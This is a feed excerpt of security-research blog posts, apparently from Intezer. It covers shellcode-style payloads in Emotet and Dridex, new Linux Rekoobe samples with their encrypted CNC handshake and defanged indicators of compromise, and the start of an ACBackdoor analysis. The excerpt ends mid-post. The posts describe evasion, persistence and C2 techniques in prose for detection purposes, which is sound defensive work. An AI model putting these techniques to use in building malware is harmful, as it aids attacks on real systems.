&lt;figcaption&gt;Payload (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig5.png" title="Payload (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There is one notable exception: in the December 2019 sample, the payload memory
module has a &amp;ldquo;&lt;strong&gt;malformed header&lt;/strong&gt;&amp;rdquo; tag. In this case, this indicates that the
packer loaded the module with a PE Header that’s missing certain PE artifacts,
such as the &amp;ldquo;MZ&amp;rdquo; magic or other PE Header constants. This is usually done in an
attempt to make it more difficult to find these modules in memory, since the
most common method of finding PE memory modules is by scanning for these
artifacts.&lt;/p&gt;
&lt;p&gt;It is worth mentioning that in Intezer Analyze we repair the malformed header
as part of our analysis process. Downloading and examining the memory module
will reveal that it has a full PE header.&lt;/p&gt;
&lt;p&gt;It is also important to note that even in the instance of a constantly evolving
threat such as Emotet, when the attacker modifies the code of the malware
itself, there are still parts that remain unchanged. Therefore, when Intezer
Analyze executes the malware, finds its payload, and then analyzes its code, we
can still detect those traces to Emotet’s code that have not been modified.&lt;/p&gt;
&lt;p&gt;This can be observed when we investigate a recent sample of Emotet from March
2020. Looking at the packer’s code, we can see that it is different yet again,
and has no relations to any code we have seen previously:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig6.png" title="Packer (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;However, when we look at the memory module payload itself, we can see that some
of the code is new and has been modified from previous versions. Most
importantly, a substantial part of the code has been reused from previous
Emotet variants that we have seen before:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig7.png" title="Payload (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;When less is more&lt;span class="hx:absolute hx:-mt-20" id="when-less-is-more"&gt;&lt;/span&gt;
&lt;a href="#when-less-is-more" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While using a malformed PE Header is a relatively simple trick, using no PE
header at all is a more sophisticated and complicated affair. It takes more
than just removing a few unused magic constants from the header in order to
conceal it. This method requires loading and executing the payload just like
shellcode.&lt;/p&gt;
&lt;p&gt;When malware authors write and compile the malware payload itself, it is
usually compiled and built into the form of standard PE files, not position
independent shellcode. Directly converting a sophisticated malware’s codebase
such as Dridex or TrickBot to run like shellcode can be complicated.&lt;/p&gt;
&lt;p&gt;Most malware authors choose a simpler option, using a packer that unpacks and
loads the payload module without using its PE Header at load time. These
packers typically store the relevant information from the PE header, such as
API import and relocations data, in a custom structure during packing time. The
packer then uses that structure during the unpacking process in order to
properly load the malware code.&lt;/p&gt;
&lt;h2&gt;Same Dridex, new tricks&lt;span class="hx:absolute hx:-mt-20" id="same-dridex-new-tricks"&gt;&lt;/span&gt;
&lt;a href="#same-dridex-new-tricks" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;An example of a popular malware that has recently adopted such a packer is the
Dridex banking trojan. Let’s compare two recent Dridex samples from February
2020:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Similar to Emotet, these packed files are very different from one another at
the code level, showing no resemblance:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig8.png" title="Packer – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig9.png" title="Packer – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;However, when we look at the payloads themselves, we can see again that they
are actually very similar:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig10.png" title="Payload – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig11.png" title="Payload – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There is one notable exception here as well, but in this case it is much more
substantial. In the second payload we can see the &amp;ldquo;&lt;strong&gt;fileless_code&lt;/strong&gt;&amp;rdquo; tag,
which indicates this module has no PE header. Downloading and examining this
module will make it known that it is indeed a binary file with no structure.&lt;/p&gt;
&lt;p&gt;Intezer Analyze detects these modules during dynamic analysis and analyzes
their code even though no PE Header is present. It will also detect any other
shellcode pieces that are used by the malware.&lt;/p&gt;
&lt;h2&gt;Look ma! No heads!&lt;span class="hx:absolute hx:-mt-20" id="look-ma-no-heads"&gt;&lt;/span&gt;
&lt;a href="#look-ma-no-heads" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To demonstrate how prevalent this trend is, let’s look at the analyses of
recent samples of the Ursnif and TrickBot malware. When looking at the dynamic
analysis modules, we see several different malicious modules that are detected
and analyzed:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If we review them more closely, we will see that all of them — minus copies of
the original packer file — have the &amp;ldquo;fileless_code&amp;rdquo; tag, indicating that they
are all shellcode-style modules with no PE header:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig13.png" title="TrickBot – 26d61225f07e39d9e35880631c5043626eb8e3846a526a44015d3a5d03642d55" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;TrickBot – 26d61225f07e39d9e35880631c5043626eb8e3846a526a44015d3a5d03642d55&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The use of pure shellcode and shellcode-style components in modern malware
seems to be a growing trend, one that is being adopted by some of the most
successful malware developers. At the same time, when we identify and analyze
these components using code reuse analysis, we can see that they are mostly
just a different version of the same thing.&lt;/p&gt;</description></item><item><title>Linux Rekoobe Operating with New, Undetected Malware Samples</title><link>https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/</link><pubDate>Mon, 20 Jan 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Our research team has identified new versions of an old Linux malware known as
Rekoobe, a minimalistic trojan with a complex CNC authentication protocol
originally targeting SPARC and Intel x86, x86-64 systems back in 2015.&lt;/p&gt;
&lt;p&gt;The new malware samples have lower detection rates than their predecessors. We
believe this malware ceased its operation in 2016 after it was reported,
however, based on our findings we can estimate the operators behind Rekoobe
have resumed their operations utilizing a newer version of the malware.&lt;/p&gt;
&lt;p&gt;Based on our research, we can estimate the new samples have been in the wild
since 2018.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We will present a brief technical analysis of the new Rekoobe samples and
explain why we believe the new samples have lower detection rates despite
previous versions of Rekoobe being well-detected by different security vendors.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux Rekoobe
&lt;a href="https://vms.drweb.com/virus/?i=7754026&amp;amp;lng=en"target="_blank" rel="noopener"&gt;was first reported&lt;/a&gt; by DrWeb in
2015. We believe this malware resumed its operation some time between 2018 and
2019, based on CNC reverse DNS intelligence from
&lt;a href="https://community.riskiq.com/search/96.45.187.113"target="_blank" rel="noopener"&gt;RiskIQ&lt;/a&gt;, along with sample
information from VirusTotal concerning the new variants.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It’s important to mention that the new variants are statically compiled ELF
binaries while older variants were dynamically compiled.&lt;/p&gt;
&lt;p&gt;This undeniably implies that on a code level these two generations of the same
malware are different. Since the compilation flags used by the GCC compiler
differ between dynamically and statically linked code, the compiler will
generate different code accordingly.&lt;/p&gt;
&lt;p&gt;We have also taken into consideration that if indeed these new implants were
generated after a three to four year gap, the GCC compiler version would also
differ. Consequently, the compiler will generate different code on an assembly
level even though additional compilation flags may not have been explicitly
used.&lt;/p&gt;
&lt;p&gt;It’s important to mention that the authors of Linux Rekoobe have removed every
attributive string from older variants in their new samples. This explains why
string-based signatures have not been able to detect the new version of the
malware.&lt;/p&gt;
&lt;p&gt;In previous Rekoobe variants, the malware would initially collect some
preliminary configuration saved in disk, masquerading this configuration to be
a shared object, as previously reported by DrWeb researchers. However, in the
new variants, the need for this configuration file has been completely removed,
having hard-coded the subject artifacts previously dependent on the
configuration file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig3.png" title="Main function comparison between Rekoobe variants" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Main function comparison between Rekoobe variants&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Among the hardcoded artifacts we can find the CNC IP and port, in addition to
the shared ‘secret’ used to authenticate the CNC and client.&lt;/p&gt;
&lt;p&gt;A new feature was added to the new Rekoobe variants to rewrite &lt;code&gt;argv[0]&lt;/code&gt;, as an
attempt to rename the process name (as shown in the picture above) since some
forensics tools do retrieve the process name from this location.&lt;/p&gt;
&lt;p&gt;The names to rewrite &lt;code&gt;argv[0]&lt;/code&gt; chosen by the authors were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/lib/sys/temd/sys/temd-udevd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/bash&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig4.png" title="Shared secret retrieval comparison between different Rekoobe versions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Shared secret retrieval comparison between different Rekoobe versions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another noticeable difference is that in previous variants a magic value was
retrieved from the configuration file and sent to the CNC prior to the
handshake mechanism. It seems that the authors removed this preliminary packet
on the new Rekoobe variants.&lt;/p&gt;
&lt;p&gt;The remaining code resembles previous variants of Rekoobe. The following is a
simplified overview of the network protocol used by the new Rekoobe samples,
mostly shared with older Rekoobe variants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is a brief description of the most relevant steps in the
authentication mechanism:&lt;/p&gt;
&lt;p&gt;The client will read a stream of 40-bytes from the server. This packet will be
divided into two blocks of 20-bytes that will be utilized to initialize two
&lt;code&gt;AES128_HMAC_SHA1&lt;/code&gt; contexts. The HMAC SHA1 pair will be generated against each
of the 20-byte streams using a given shared secret (&amp;ldquo;idontknow&amp;rdquo; hardcoded
string in newer variants) and they will be used as AES128 keys for encryption
and decryption of future packets.&lt;/p&gt;
&lt;p&gt;These computed keys will be used throughout the communication process to
decrypt the received packets and to encrypt the packets to be sent by the
client with different keys. This implies that if this preliminary packet is not
retrieved and the shared secret is not known, then the remaining traffic will
unlikely be decryptable.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig6.png" alt="" loading="lazy" /&gt; &amp;ldquo;AES128_HMAC_SHA1 context generation&amp;rdquo;&lt;/p&gt;
&lt;p&gt;After &lt;code&gt;AES128_HMAC_SHA1&lt;/code&gt; context initialization is achieved there will be a CNC
authentication procedure similar to a Challenge-Handshake Authentication
Protocol (CHAP). The client will read an additional stream of 16-bytes that
will then decrypt using AES128 with the corresponding and previously generated
SHA1 hash as key. It will xor decode the stream to retrieve information of the
next packet to be read. This process will be repeated every time the client and
server sends an additional packet.&lt;/p&gt;
&lt;p&gt;Every other packet will be subject to HMAC integrity checks to verify the
integrity of the packets. Two layers of SHA1 will be computed against the
subject packet with two additional salts. This computed SHA1 hash will be then
compared with the first 20-bytes of the received packet which contains the
pre-computed SHA1 of the AES encrypted packet’s payload.&lt;/p&gt;
&lt;p&gt;If the computed SHA1 hash does not match with the hardcoded hash delivered in
the packet, the client will cease execution since it would imply that the
integrity of that packet has been compromised; otherwise the client will
proceed to AES128 decrypt the packet’s payload and then apply an xor layout.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig7.png" title="SHA1 scheme applied to encrypted packet and comparison to hardcoded SHA1" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SHA1 scheme applied to encrypted packet and comparison to hardcoded SHA1&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After this packet has been decrypted, the contents will be compared against a
hard-coded byte sequence of 16-bytes in order to verify the integrity of the
server.&lt;/p&gt;
&lt;p&gt;Once again, if this sequence does not match, the handshake will fail.&lt;/p&gt;
&lt;p&gt;If the sequence is correct, then this byte sequence will be AES128 encrypted
with the corresponding HMAC SHA1 as key, two layers of SHA1 will be computed
with its correspondent salts against the encrypted payload, and this SHA1 hash
will be written on the first 20-bytes of the packet itself to then be sent back
to the CNC as the last verification step, in this case to verify the integrity
of the client.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig8.png" title="Hardcoded stream of 16-bytes the CNC and client authentication is based on" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded stream of 16-bytes the CNC and client authentication is based on&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We assume this field would be an ideal choice for also identifying the campaign
ID by the operators, although it seems the value of this field was shared with
previous variants.&lt;/p&gt;
&lt;p&gt;If the handshake was successful, the client will proceed to listen for a
command from the CNC. The malware supports the same three different commands as
it did in previous variants, those being file upload, file download, and a
reverse shell. The following picture shows the command management implemented
by the client after command packet has been successfully decrypted:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have provided a brief technical analysis of the new Linux Rekoobe samples,
highlighting some of the differences between these variants and previous
samples. We have also provided an overview of the network protocol.&lt;/p&gt;
&lt;p&gt;We have provided several reasons for why the malware has gone undetected, even
though the code base of these new variants doesn’t appear to have been heavily
modified on a source code level from the original Rekoobe samples.&lt;/p&gt;
&lt;p&gt;We do not believe this malware has been consistently operational since late
2015. In contrast, we believe the malware may have operated intermittently over
small periods of time, since the newly discovered samples appear to be created
in recent years, and there appears to be a gap in 2017 where additional Rekoobe
samples have not been found.&lt;/p&gt;
&lt;p&gt;We have indexed the code from the new Linux Rekoobe variants in our Genetic
Malware Analysiss platform Intezer Analyze, and we have published a new
&lt;a href="https://github.com/intezer/yara-rules/blob/master/Rekoobe.yar"target="_blank" rel="noopener"&gt;YARA&lt;/a&gt; rule in
order to help the community to detect this threat.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;80e5fec19843c32c6c3fc38aabdeb428c339b0dfce28023529144405b9c72b33
C9eb46d00e11acb354b518f725412b88c69cc511ec8d5bd3cb03c1740f8a2936
2e2dc0328f6c19b033bb19c24e59e354e519606958afb93fd8049d162a8e3edd
E63c2e35a41c51e33b246f5b60c5d1b8da0d8c50bf7ec592383b61818217e8d7
7148ae1ab45e17889915100fdc203fe7941d8e9b946d44a3989ab8baeb6066e1
1d0591049a65db6508a9517f72954541ef6b5a7fe9153c5edcb1bac1b70b991c
4B45E601D480124C38BE06A706F7D8F4
F34119A442651945D5EFB33DB8901D9B
7xin.bitscan[.]win
huawel[.]site
96.45.187[.]113
119.3.22[.]174&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ACBackdoor: Analysis of a New Multiplatform Backdoor</title><link>https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/</link><pubDate>Mon, 18 Nov 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have discovered an undetected Linux backdoor which does not have any known
connections to other threat groups.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig1.png" title="VirusTotal detection rate of ACBackdoor Linux variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of ACBackdoor Linux variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition, we have found Windows variants of the same malware. As is common
with most Windows variants, this variant has a higher detection rate than its
Linux counterpart.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig2.png" title="VirusTotal detection rate of ACBackdoor Windows variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of ACBackdoor Windows variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This malware seems to be unknown or at least undocumented to the infosec
community, which may indicate retooling of a known threat group or the
formation of a new one.&lt;/p&gt;
&lt;p&gt;We have dubbed this malware &lt;strong&gt;ACBackdoor&lt;/strong&gt;. ACBackdoor provides arbitrary
execution of shell commands, arbitrary binary execution, persistence, and
update capabilities.&lt;/p&gt;
&lt;p&gt;In this blog post we will explain the technical analysis of both ACBackdoor
variants and highlight their differences in implementation. The findings we
present strongly suggest the group behind this malware has previous experience
targeting Linux systems, and is expanding its coverage by porting ACBackdoor to
Windows.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Linux binary is a statically linked ELF file, while the Windows binary is a
dynamically linked PE file.&lt;/p&gt;
&lt;p&gt;Both instances of this malware are practically identical in terms of overall
functionality, with minor implementation differences. However, if we pay close
attention to each instance we can draw some conclusions regarding the nature of
the authors.&lt;/p&gt;
&lt;p&gt;Both malware instances share the same protocol to communicate with the same CNC
server. However, these instances have different delivery vectors:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig3.png" title="VirusTotal intelligence graph depicting connections between the samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal intelligence graph depicting connections between the samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Initially, we located the Linux instance in a Romanian-hosted server.
Unfortunately, we do not have further insights regarding the delivery vector
used to deploy the Linux variant.&lt;/p&gt;
&lt;p&gt;We later discovered via
&lt;a href="https://twitter.com/nao_sec/status/1193891281530830848"target="_blank" rel="noopener"&gt;@nao_sec&lt;/a&gt; that the
Windows instance was delivered via Fallout Exploit Kit.&lt;/p&gt;
&lt;p&gt;To understand more about the delivery system of Fallout Exploit Kit we highly
recommend reading nao_sec&amp;rsquo;s comprehensive
&lt;a href="https://nao-sec.org/2019/07/steady-evolution-of-fallout-v4.html"target="_blank" rel="noopener"&gt;article&lt;/a&gt; on
the subject matter.&lt;/p&gt;
&lt;p&gt;This finding suggests that the operators behind ACBackdoor had sufficient
funding to purchase Fallout Exploit Kit and that they are currently using it to
spread their Windows malware via malvertising campaigns.&lt;/p&gt;
&lt;h3&gt;Backdoor Analysis&lt;span class="hx:absolute hx:-mt-20" id="backdoor-analysis"&gt;&lt;/span&gt;
&lt;a href="#backdoor-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Windows variant of this malware does not represent a complex threat in
terms of Windows malware. Conversely, the Linux variant shows more
sophistication in regards to the implementation details used to replicate the
same functionality.&lt;/p&gt;
&lt;p&gt;We first noticed the compiled Windows binary was generated using the MinGW
compiler.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig4.png" title="MinGW strings identified in ACBackdoor Windows instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;MinGW strings identified in ACBackdoor Windows instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This indicates information regarding the malware authors’ development
environment preference.&lt;/p&gt;
&lt;p&gt;The main function is not obfuscated and appears to be straightforward in logic.
In the Windows variant we can see how some strings are decoded in the beginning
of the function.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig5.png" title="Windows instance main function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Windows instance main function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can see Linux-specific strings among the decrypted strings, such as a kernel
thread process name or a path belonging to a Linux file system.&lt;/p&gt;
&lt;p&gt;These same strings are used in the Linux instance of this malware. In addition,
these strings do not have any other cross-references among the binary, which
may imply that the developers were too lazy to remove them when they were
porting code from their Linux implementation onto their Windows version.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig6.png" title="ACBackdoor Linux instance main function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ACBackdoor Linux instance main function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After initial string decoding the malware serializes the victim by collecting
architecture, system, and MAC address information.&lt;/p&gt;
&lt;p&gt;The way the Windows variant collects this information is by calling the
correspondent Windows API functions in order to retrieve the subject
information such as IsWow64Process; to determine the architecture of the
operating system or GetAdaptersInfo to retrieve the system’s MAC address.&lt;/p&gt;
&lt;p&gt;The Linux variant, on the other hand, uses a different technique that mainly
relies on uname system call to retrieve architecture and system information, in
addition to a combination of socket / ioctl system calls to retrieve the MAC
address.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig7.png" title="Similarities in code structure between ACBackdoor Linux and Windows instances" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Similarities in code structure between ACBackdoor Linux and Windows instances&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After this information is collected, the malware will concatenate each of these
fields, add the string ‘0.5’ likely denoting some kind of versioning ID, and
will then MD5 hash the resulting string.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig8.png" title="Compromised host information collected from both ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Compromised host information collected from both ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After victim information has been serialized, the malware will apply some
persistence mechanisms. The Windows instance will initialize a registry entry
so that the malware will be executed on system start-up. The Linux instance
will set up various symbolic links and add an initrd script for the malware to
also run on system start-up. The Windows instance uses one of the most common
registry entries used in Windows malware:
&lt;code&gt;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The use of this registry entry indicates this actor’s level of inexperience by
using less conventional persistence techniques to write more complex Windows
malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
